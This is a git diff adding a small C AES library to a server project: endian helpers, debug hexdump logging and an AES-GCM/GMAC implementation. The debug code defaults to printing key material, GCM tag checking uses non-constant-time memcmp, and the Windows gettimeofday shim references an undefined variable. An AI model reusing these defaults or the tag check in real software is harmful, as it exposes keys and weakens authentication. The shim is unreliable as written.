||||
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
#ifdef __APPLE__
|
||||
#include <sys/types.h>
|
||||
#include <machine/endian.h>
|
||||
#define __BYTE_ORDER BYTE_ORDER
|
||||
#define __LITTLE_ENDIAN LITTLE_ENDIAN
|
||||
#define __BIG_ENDIAN BIG_ENDIAN
|
||||
#endif /* __APPLE__ */
|
||||
|
||||
|
||||
/* byte swap macros */
|
||||
|
||||
#ifndef bswap_16
|
||||
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
|
||||
(((aes_ushort) (a) & 0x00ff) << 8))
|
||||
#endif
|
||||
|
||||
#ifndef bswap_32
|
||||
#if defined __GNUC__
|
||||
#define bswap_32(a) __builtin_bswap32(a)
|
||||
#else
|
||||
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
|
||||
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
|
||||
(((aes_uint) (a) & 0x0000ff00) << 8) | \
|
||||
(((aes_uint) (a) & 0x000000ff) << 24))
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef bswap_64
|
||||
#if defined __GNUC__
|
||||
#define bswap_64(a) __builtin_bswap64(a)
|
||||
#else
|
||||
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
|
||||
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
|
||||
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
|
||||
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
|
||||
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
|
||||
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
|
||||
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
|
||||
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
|
||||
#define le_to_host16(n) (n)
|
||||
#define host_to_le16(n) (n)
|
||||
#define be_to_host16(n) bswap_16(n)
|
||||
#define host_to_be16(n) bswap_16(n)
|
||||
#define le_to_host32(n) (n)
|
||||
#define host_to_le32(n) (n)
|
||||
#define be_to_host32(n) bswap_32(n)
|
||||
#define host_to_be32(n) bswap_32(n)
|
||||
#define le_to_host64(n) (n)
|
||||
#define host_to_le64(n) (n)
|
||||
#define be_to_host64(n) bswap_64(n)
|
||||
#define host_to_be64(n) bswap_64(n)
|
||||
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||
#define le_to_host16(n) bswap_16(n)
|
||||
#define host_to_le16(n) bswap_16(n)
|
||||
#define be_to_host16(n) (n)
|
||||
#define host_to_be16(n) (n)
|
||||
#define le_to_host32(n) bswap_32(n)
|
||||
#define host_to_le32(n) bswap_32(n)
|
||||
#define be_to_host32(n) (n)
|
||||
#define host_to_be32(n) (n)
|
||||
#define le_to_host64(n) bswap_64(n)
|
||||
#define host_to_le64(n) bswap_64(n)
|
||||
#define be_to_host64(n) (n)
|
||||
#define host_to_be64(n) (n)
|
||||
#else
|
||||
#error Could not determine CPU byte order
|
||||
#endif
|
||||
|
||||
|
||||
/* unaligned memory accesses */
|
||||
|
||||
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 8) | a[1];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
|
||||
{
|
||||
a[0] = val >> 8;
|
||||
a[1] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
|
||||
{
|
||||
return (a[1] << 8) | a[0];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
|
||||
{
|
||||
a[1] = val >> 8;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 16) | (a[1] << 8) | a[2];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[0] = (val >> 16) & 0xff;
|
||||
a[1] = (val >> 8) & 0xff;
|
||||
a[2] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[0] = (val >> 24) & 0xff;
|
||||
a[1] = (val >> 16) & 0xff;
|
||||
a[2] = (val >> 8) & 0xff;
|
||||
a[3] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
|
||||
{
|
||||
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[3] = (val >> 24) & 0xff;
|
||||
a[2] = (val >> 16) & 0xff;
|
||||
a[1] = (val >> 8) & 0xff;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
|
||||
{
|
||||
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
|
||||
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
|
||||
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
|
||||
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
|
||||
{
|
||||
a[0] = val >> 56;
|
||||
a[1] = val >> 48;
|
||||
a[2] = val >> 40;
|
||||
a[3] = val >> 32;
|
||||
a[4] = val >> 24;
|
||||
a[5] = val >> 16;
|
||||
a[6] = val >> 8;
|
||||
a[7] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
|
||||
{
|
||||
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
|
||||
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
|
||||
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
|
||||
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
|
||||
{
|
||||
a[7] = val >> 56;
|
||||
a[6] = val >> 48;
|
||||
a[5] = val >> 40;
|
||||
a[4] = val >> 32;
|
||||
a[3] = val >> 24;
|
||||
a[2] = val >> 16;
|
||||
a[1] = val >> 8;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
|
||||
/* function attribute macros */
|
||||
|
||||
#ifndef AES_WARN_UNUSED_RESULT
|
||||
#if defined __GNUC__
|
||||
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
|
||||
#else
|
||||
#define AES_WARN_UNUSED_RESULT
|
||||
#endif /* __GNUC__ */
|
||||
#endif /* AES_WARN_UNUSED_RESULT */
|
||||
|
||||
#endif /* AES_COMMON_H */
|
166
server/aes-debug.c
Normal file
166
server/aes-debug.c
Normal file
@ -0,0 +1,166 @@
|
||||
#define AES_DEBUG
|
||||
|
||||
#include "aes.h"
|
||||
|
||||
int aes_debug_level = MSG_EXCESSIVE;
|
||||
int aes_debug_show_keys = 1;
|
||||
int aes_debug_timestamp = 1;
|
||||
|
||||
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
|
||||
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
|
||||
|
||||
int gettimeofday(struct timeval *tv, struct timezone *tz)
|
||||
{
|
||||
FILETIME ft;
|
||||
__int64 tmpres = 0;
|
||||
TIME_ZONE_INFORMATION tz_winapi;
|
||||
int ret = 0;
|
||||
|
||||
ZeroMemory(&ft,sizeof(ft));
|
||||
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
|
||||
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
|
||||
tmpres = ft.dwHighDateTime;
|
||||
tmpres <<= 32;
|
||||
tmpres |= ft.dwLowDateTime;
|
||||
|
||||
/*converting file time to unix epoch*/
|
||||
tmpres /= 10; /*convert into microseconds*/
|
||||
tmpres -= DELTA_EPOCH_IN_MICROSECS;
|
||||
tv->tv_sec = (__int32)(tmpres*0.000001);
|
||||
tv->tv_usec =(tmpres%1000000);
|
||||
|
||||
if (tz) {
|
||||
ret = GetTimeZoneInformation(&tz_winapi);
|
||||
tz->tz_dsttime = (ret == 2) ? true : false;
|
||||
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
void aes_debug_print_timestamp(void)
|
||||
{
|
||||
struct timeval tv;
|
||||
|
||||
if (!aes_debug_timestamp)
|
||||
return;
|
||||
|
||||
gettimeofday(&tv, NULL);
|
||||
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
|
||||
}
|
||||
|
||||
|
||||
void aes_printf(int level, const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
if (level >= aes_debug_level) {
|
||||
aes_debug_print_timestamp();
|
||||
vprintf(fmt, ap);
|
||||
printf("\n");
|
||||
}
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
|
||||
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
|
||||
size_t len, int show)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
if (level < aes_debug_level)
|
||||
return;
|
||||
|
||||
aes_debug_print_timestamp();
|
||||
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
|
||||
if (buf == NULL) {
|
||||
printf(" [NULL]");
|
||||
} else if (show) {
|
||||
for (i = 0; i < len; i++)
|
||||
printf(" %02x", buf[i]);
|
||||
} else {
|
||||
printf(" [REDACTED]");
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
|
||||
{
|
||||
_aes_hexdump(level, title, buf, len, 1);
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
|
||||
{
|
||||
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
|
||||
}
|
||||
|
||||
|
||||
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len, int show)
|
||||
{
|
||||
size_t i, llen;
|
||||
const aes_uchar *pos = buf;
|
||||
const size_t line_len = 16;
|
||||
|
||||
if (level < aes_debug_level)
|
||||
return;
|
||||
|
||||
aes_debug_print_timestamp();
|
||||
if (!show) {
|
||||
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
|
||||
title, (unsigned long) len);
|
||||
return;
|
||||
}
|
||||
if (buf == NULL) {
|
||||
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
|
||||
title, (unsigned long) len);
|
||||
return;
|
||||
}
|
||||
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
|
||||
while (len) {
|
||||
llen = len > line_len ? line_len : len;
|
||||
printf(" ");
|
||||
for (i = 0; i < llen; i++)
|
||||
printf(" %02x", pos[i]);
|
||||
for (i = llen; i < line_len; i++)
|
||||
printf(" ");
|
||||
printf(" ");
|
||||
for (i = 0; i < llen; i++) {
|
||||
if (isprint(pos[i]))
|
||||
printf("%c", pos[i]);
|
||||
else
|
||||
printf("_");
|
||||
}
|
||||
for (i = llen; i < line_len; i++)
|
||||
printf(" ");
|
||||
printf("\n");
|
||||
pos += llen;
|
||||
len -= llen;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len)
|
||||
{
|
||||
_aes_hexdump_ascii(level, title, buf, len, 1);
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||
size_t len)
|
||||
{
|
||||
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
|
||||
}
|
60
server/aes-debug.h
Normal file
60
server/aes-debug.h
Normal file
@ -0,0 +1,60 @@
|
||||
#ifndef AES_DEBUG_H
|
||||
#define AES_DEBUG_H
|
||||
|
||||
/* gettimeofday */
|
||||
|
||||
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||
|
||||
struct timezone
|
||||
{
|
||||
int tz_minuteswest; /* minutes west of Greenwich */
|
||||
int tz_dsttime; /* type of dst correction */
|
||||
};
|
||||
|
||||
struct timeval {
|
||||
int tv_sec;
|
||||
int tv_usec;
|
||||
};
|
||||
|
||||
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
|
||||
|
||||
#else
|
||||
#include <sys/time.h>
|
||||
#endif
|
||||
|
||||
/* Debugging function - conditional printf and hex dump */
|
||||
|
||||
enum {
|
||||
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
|
||||
};
|
||||
|
||||
extern int aes_debug_level;
|
||||
extern int aes_debug_show_keys;
|
||||
extern int aes_debug_timestamp;
|
||||
|
||||
#ifndef AES_DEBUG
|
||||
|
||||
#define aes_debug_print_timestamp() do { } while (0)
|
||||
#define aes_printf(args...) do { } while (0)
|
||||
#define aes_hexdump(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_buf(l,t,b) do { } while (0)
|
||||
#define aes_hexdump_key(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
|
||||
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
|
||||
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
|
||||
#define aes_dbg(args...) do { } while (0)
|
||||
|
||||
#else
|
||||
void aes_debug_print_timestamp(void);
|
||||
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
|
||||
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
|
||||
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
|
||||
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len);
|
||||
|
||||
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||
size_t len);
|
||||
|
||||
#endif /* AES_DEBUG_STDOUT */
|
||||
|
||||
#endif /* AES_DEBUG_H */
|
312
server/aes-gcm.c
Normal file
312
server/aes-gcm.c
Normal file
@ -0,0 +1,312 @@
|
||||
#include "aes.h"
|
||||
|
||||
static void inc32(aes_uchar *block)
|
||||
{
|
||||
aes_uint val;
|
||||
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
|
||||
val++;
|
||||
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
|
||||
}
|
||||
|
||||
|
||||
static void xor_block(aes_uchar *dst, const aes_uchar *src)
|
||||
{
|
||||
aes_uint *d = (aes_uint *) dst;
|
||||
aes_uint *s = (aes_uint *) src;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
*d++ ^= *s++;
|
||||
}
|
||||
|
||||
|
||||
static void shift_right_block(aes_uchar *v)
|
||||
{
|
||||
aes_uint val;
|
||||
|
||||
val = AES_GET_BE32(v + 12);
|
||||
val >>= 1;
|
||||
if (v[11] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 12, val);
|
||||
|
||||
val = AES_GET_BE32(v + 8);
|
||||
val >>= 1;
|
||||
if (v[7] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 8, val);
|
||||
|
||||
val = AES_GET_BE32(v + 4);
|
||||
val >>= 1;
|
||||
if (v[3] & 0x01)
|
||||
val |= 0x80000000;
|
||||
AES_PUT_BE32(v + 4, val);
|
||||
|
||||
val = AES_GET_BE32(v);
|
||||
val >>= 1;
|
||||
AES_PUT_BE32(v, val);
|
||||
}
|
||||
|
||||
|
||||
/* Multiplication in GF(2^128) */
|
||||
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
|
||||
{
|
||||
aes_uchar v[16];
|
||||
int i, j;
|
||||
|
||||
memset(z, 0, 16); /* Z_0 = 0^128 */
|
||||
memcpy(v, y, 16); /* V_0 = Y */
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
for (j = 0; j < 8; j++) {
|
||||
if (x[i] & 1 << (7 - j)) {
|
||||
/* Z_(i + 1) = Z_i XOR V_i */
|
||||
xor_block(z, v);
|
||||
} else {
|
||||
/* Z_(i + 1) = Z_i */
|
||||
}
|
||||
|
||||
if (v[15] & 0x01) {
|
||||
/* V_(i + 1) = (V_i >> 1) XOR R */
|
||||
shift_right_block(v);
|
||||
/* R = 11100001 || 0^120 */
|
||||
v[0] ^= 0xe1;
|
||||
} else {
|
||||
/* V_(i + 1) = V_i >> 1 */
|
||||
shift_right_block(v);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void ghash_start(aes_uchar *y)
|
||||
{
|
||||
/* Y_0 = 0^128 */
|
||||
memset(y, 0, 16);
|
||||
}
|
||||
|
||||
|
||||
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||
{
|
||||
size_t m, i;
|
||||
const aes_uchar *xpos = x;
|
||||
aes_uchar tmp[16];
|
||||
|
||||
m = xlen / 16;
|
||||
|
||||
for (i = 0; i < m; i++) {
|
||||
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||
xor_block(y, xpos);
|
||||
xpos += 16;
|
||||
|
||||
/* dot operation:
|
||||
* multiplication operation for binary Galois (finite) field of
|
||||
* 2^128 elements */
|
||||
gf_mult(y, h, tmp);
|
||||
memcpy(y, tmp, 16);
|
||||
}
|
||||
|
||||
if (x + xlen > xpos) {
|
||||
/* Add zero padded last block */
|
||||
size_t last = x + xlen - xpos;
|
||||
memcpy(tmp, xpos, last);
|
||||
memset(tmp + last, 0, sizeof(tmp) - last);
|
||||
|
||||
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||
xor_block(y, tmp);
|
||||
|
||||
/* dot operation:
|
||||
* multiplication operation for binary Galois (finite) field of
|
||||
* 2^128 elements */
|
||||
gf_mult(y, h, tmp);
|
||||
memcpy(y, tmp, 16);
|
||||
}
|
||||
|
||||
/* Return Y_m */
|
||||
}
|
||||
|
||||
|
||||
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||
{
|
||||
size_t i, n, last;
|
||||
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||
const aes_uchar *xpos = x;
|
||||
aes_uchar *ypos = y;
|
||||
|
||||
if (xlen == 0)
|
||||
return;
|
||||
|
||||
n = xlen / 16;
|
||||
|
||||
memcpy(cb, icb, AES_BLOCK_SIZE);
|
||||
/* Full blocks */
|
||||
for (i = 0; i < n; i++) {
|
||||
aes_encrypt(aes, cb, ypos);
|
||||
xor_block(ypos, xpos);
|
||||
xpos += AES_BLOCK_SIZE;
|
||||
ypos += AES_BLOCK_SIZE;
|
||||
inc32(cb);
|
||||
}
|
||||
|
||||
last = x + xlen - xpos;
|
||||
if (last) {
|
||||
/* Last, partial block */
|
||||
aes_encrypt(aes, cb, tmp);
|
||||
for (i = 0; i < last; i++)
|
||||
*ypos++ = *xpos++ ^ tmp[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
|
||||
{
|
||||
void *aes;
|
||||
|
||||
aes = aes_encrypt_init(key, key_len);
|
||||
if (aes == NULL)
|
||||
return NULL;
|
||||
|
||||
/* Generate hash subkey H = AES_K(0^128) */
|
||||
memset(H, 0, AES_BLOCK_SIZE);
|
||||
aes_encrypt(aes, H, H);
|
||||
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
|
||||
return aes;
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
|
||||
{
|
||||
aes_uchar len_buf[16];
|
||||
|
||||
if (iv_len == 12) {
|
||||
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
|
||||
memcpy(J0, iv, iv_len);
|
||||
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
|
||||
J0[AES_BLOCK_SIZE - 1] = 0x01;
|
||||
} else {
|
||||
/*
|
||||
* s = 128 * ceil(len(IV)/128) - len(IV)
|
||||
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
|
||||
*/
|
||||
ghash_start(J0);
|
||||
ghash(H, iv, iv_len, J0);
|
||||
AES_PUT_BE64(len_buf, 0);
|
||||
AES_PUT_BE64(len_buf + 8, iv_len * 8);
|
||||
ghash(H, len_buf, sizeof(len_buf), J0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
|
||||
aes_uchar *out)
|
||||
{
|
||||
aes_uchar J0inc[AES_BLOCK_SIZE];
|
||||
|
||||
if (len == 0)
|
||||
return;
|
||||
|
||||
memcpy(J0inc, J0, AES_BLOCK_SIZE);
|
||||
inc32(J0inc);
|
||||
aes_gctr(aes, J0inc, in, len, out);
|
||||
}
|
||||
|
||||
|
||||
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
|
||||
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
|
||||
{
|
||||
aes_uchar len_buf[16];
|
||||
|
||||
/*
|
||||
* u = 128 * ceil[len(C)/128] - len(C)
|
||||
* v = 128 * ceil[len(A)/128] - len(A)
|
||||
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
|
||||
* (i.e., zero padded to block size A || C and lengths of each in bits)
|
||||
*/
|
||||
ghash_start(S);
|
||||
ghash(H, aad, aad_len, S);
|
||||
ghash(H, crypt, crypt_len, S);
|
||||
AES_PUT_BE64(len_buf, aad_len * 8);
|
||||
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
|
||||
ghash(H, len_buf, sizeof(len_buf), S);
|
||||
|
||||
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_gcm_ae - GCM-AE_K(IV, P, A)
|
||||
*/
|
||||
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
|
||||
{
|
||||
aes_uchar H[AES_BLOCK_SIZE];
|
||||
aes_uchar J0[AES_BLOCK_SIZE];
|
||||
aes_uchar S[16];
|
||||
void *aes;
|
||||
|
||||
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||
if (aes == NULL)
|
||||
return -1;
|
||||
|
||||
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||
|
||||
/* C = GCTR_K(inc_32(J_0), P) */
|
||||
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
|
||||
|
||||
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
|
||||
|
||||
/* T = MSB_t(GCTR_K(J_0, S)) */
|
||||
aes_gctr(aes, J0, S, sizeof(S), tag);
|
||||
|
||||
/* Return (C, T) */
|
||||
|
||||
aes_encrypt_deinit(aes);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
|
||||
*/
|
||||
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
|
||||
{
|
||||
aes_uchar H[AES_BLOCK_SIZE];
|
||||
aes_uchar J0[AES_BLOCK_SIZE];
|
||||
aes_uchar S[16], T[16];
|
||||
void *aes;
|
||||
|
||||
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||
if (aes == NULL)
|
||||
return -1;
|
||||
|
||||
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||
|
||||
/* P = GCTR_K(inc_32(J_0), C) */
|
||||
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
|
||||
|
||||
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
|
||||
|
||||
/* T' = MSB_t(GCTR_K(J_0, S)) */
|
||||
aes_gctr(aes, J0, S, sizeof(S), T);
|
||||
|
||||
aes_encrypt_deinit(aes);
|
||||
|
||||
if (memcmp(tag, T, 16) != 0) {
|
||||
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
|
||||
{
|
||||
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
|
||||
}
|
1021
server/aes-internal.c
Normal file
1021
server/aes-internal.c
Normal file
File diff suppressed because it is too large
Load Diff
113
server/aes-internal.h
Normal file
113
server/aes-internal.h
Normal file
@ -0,0 +1,113 @@
|
||||
#ifndef AES_INTERNAL_H
|
||||
#define AES_INTERNAL_H
|
||||
|
||||
extern const aes_uint Te0[256];
|
||||
extern const aes_uint Te1[256];
|
||||
extern const aes_uint Te2[256];
|
||||
extern const aes_uint Te3[256];
|
||||
extern const aes_uint Te4[256];
|
||||
extern const aes_uint Td0[256];
|
||||
extern const aes_uint Td1[256];
|
||||
extern const aes_uint Td2[256];
|
||||
extern const aes_uint Td3[256];
|
||||
extern const aes_uint Td4[256];
|
||||
extern const aes_uint rcon[10];
|
||||
extern const aes_uchar Td4s[256];
|
||||
extern const aes_uchar rcons[10];
|
||||
|
||||
#ifndef AES_SMALL_TABLES
|
||||
|
||||
#define RCON(i) rcon[(i)]
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||
#define TE3(i) Te3[(i) & 0xff]
|
||||
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||
#define TD3(i) Td3[(i) & 0xff]
|
||||
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) Td1[(i) & 0xff]
|
||||
#define TD2_(i) Td2[(i) & 0xff]
|
||||
#define TD3_(i) Td3[(i) & 0xff]
|
||||
|
||||
#else /* AES_SMALL_TABLES */
|
||||
|
||||
#define RCON(i) (rcons[(i)] << 24)
|
||||
|
||||
static inline aes_uint rotr(aes_uint val, int bits)
|
||||
{
|
||||
return (val >> bits) | (val << (32 - bits));
|
||||
}
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
